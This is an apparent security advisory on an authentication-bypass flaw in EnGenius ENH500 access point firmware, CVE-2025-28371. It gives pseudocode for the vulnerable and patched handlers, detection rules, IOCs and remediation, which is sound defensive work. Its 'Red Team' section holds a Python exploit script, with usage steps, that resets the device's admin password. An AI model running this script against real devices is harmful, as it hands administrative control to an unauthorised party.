CVE-2025-28371

Executive Summary

CVE-2025-28371 exposes a critical Incorrect Access Control vulnerability in the EnGenius ENH500 AP 2T2R V3.0 running firmware version 3.7.22. The password change function fails to validate the current password, allowing an unauthenticated attacker to submit a password change request with an invalid current password and set a new password. This effectively bypasses authentication and grants full administrative control over the device. With a CVSS score of 0.0 (placeholder), the actual risk is severe due to the lack of authentication checks. No patch is currently available, and the vendor has not released a fix. The vulnerability is publicly known, and proof-of-concept code exists.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded networking device (EnGenius ENH500 access point). The supply chain risk is limited to the device itself and its firmware distribution.

CVSS Breakdown & Threat Level

The provided CVSS score of 0.0 is a placeholder. Based on the vulnerability description, the actual CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack can be performed remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full device access leads to data exposure.
• Integrity (I): High (H) – Attacker can modify device configuration.
• Availability (A): High (H) – Attacker can disrupt device operation.

Calculated Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows complete takeover of the device without any authentication.

Deep Dive & Mechanics

The vulnerability resides in the password change functionality of the EnGenius ENH500 AP web interface. Typically, a password change request requires the user to provide the current password as a security measure. In this case, the server-side code does not verify that the provided "current password" matches the actual stored password. Instead, it directly processes the new password and updates the credentials.

Attack Flow:

1. An attacker sends an HTTP POST request to the password change endpoint (e.g., /goform/setPassword or similar).
2. The request includes parameters: currentPassword (any value), newPassword, and confirmPassword.
3. The server accepts the request without validating currentPassword.
4. The new password is saved, and the attacker can then log in with the new credentials.

Root Cause: Missing server-side validation of the current password field. The code likely checks if the request is valid (e.g., parameters exist) but does not compare the provided current password against the stored hash.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 3.7.22):

# Pseudocode of vulnerable password change handler
def handle_password_change(request):
    current_password = request.get('currentPassword')
    new_password = request.get('newPassword')
    confirm_password = request.get('confirmPassword')
    
    # Missing: validate current_password against stored hash
    if new_password == confirm_password:
        update_password(new_password)
        return "Password changed successfully"
    else:
        return "Passwords do not match"

Patched Code (Hypothetical fix):

# Pseudocode of patched password change handler
def handle_password_change(request):
    current_password = request.get('currentPassword')
    new_password = request.get('newPassword')
    confirm_password = request.get('confirmPassword')
    
    # Validate current password
    if not verify_password(current_password, get_stored_hash()):
        return "Current password is incorrect"
    
    if new_password == confirm_password:
        update_password(new_password)
        return "Password changed successfully"
    else:
        return "Passwords do not match"

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target_ip = "192.168.1.1"
new_password = "attacker123"

url = f"http://{target_ip}/goform/setPassword"
payload = {
    "currentPassword": "anyvalue",
    "newPassword": new_password,
    "confirmPassword": new_password
}

response = requests.post(url, data=payload)
if "success" in response.text.lower():
    print(f"Password changed to {new_password}")
else:
    print("Exploit failed")

Usage:

1. Replace target_ip with the IP of the vulnerable EnGenius ENH500.
2. Run the script. It will change the admin password to attacker123.
3. Log in to the device's web interface using the new password.

Blue Team

Detection Steps:

1. Monitor for multiple password change requests from the same IP.
2. Look for requests to /goform/setPassword with unusual or empty currentPassword values.
3. Check logs for successful password changes without prior authentication.

Honeypot Setup:

• Deploy a fake EnGenius ENH500 endpoint that logs all password change attempts.
• Use a low-interaction honeypot to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /goform/setPassword with parameters currentPassword, newPassword, confirmPassword.
  • Source IP addresses performing multiple password change attempts.
  • Successful login from a new IP after a password change.

• Host IOCs:

  • Modified /etc/shadow or equivalent password file on the device.
  • Unauthorized SSH or telnet sessions using new credentials.
  • Changes to device configuration (e.g., DNS, admin accounts).

• File IOCs:

  • Log entries showing password change without prior authentication.
  • Firmware version 3.7.22 on EnGenius ENH500.

Detection Engineering

YARA Rule

rule CVE_2025_28371_EnGenius_Password_Change {
    meta:
        description = "Detects exploitation attempts of CVE-2025-28371"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-28371"
    strings:
        $s1 = "currentPassword" ascii wide nocase
        $s2 = "newPassword" ascii wide nocase
        $s3 = "confirmPassword" ascii wide nocase
        $s4 = "/goform/setPassword" ascii wide nocase
    condition:
        all of ($s*) and #s1 > 0
}

Sigma Rule

title: EnGenius ENH500 Password Change Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests exploiting CVE-2025-28371
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/goform/setPassword'
        cs-uri-query|contains: 'currentPassword'
    condition: selection
falsepositives:
    - Legitimate password changes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28371 EnGenius ENH500 Password Change Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/goform/setPassword"; http_uri; content:"currentPassword"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place EnGenius ENH500 APs on a separate VLAN with strict access controls.
2. Disable remote management: Block access to the web interface from untrusted networks.
3. Monitor logs: Watch for unauthorized password changes.

Long-Term Fix:

• Vendor patch: Await an official firmware update from EnGenius. Contact vendor support for ETA.
• Workaround: If possible, downgrade to a previous firmware version that does not have this vulnerability (if available).
• Replace device: Consider replacing the ENH500 with a patched or alternative access point.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with a custom rule to block requests to /goform/setPassword that do not include a valid session cookie.
• Use network segmentation to limit exposure.

Valters IT
DevSecOps & Cyber Threat Intelligence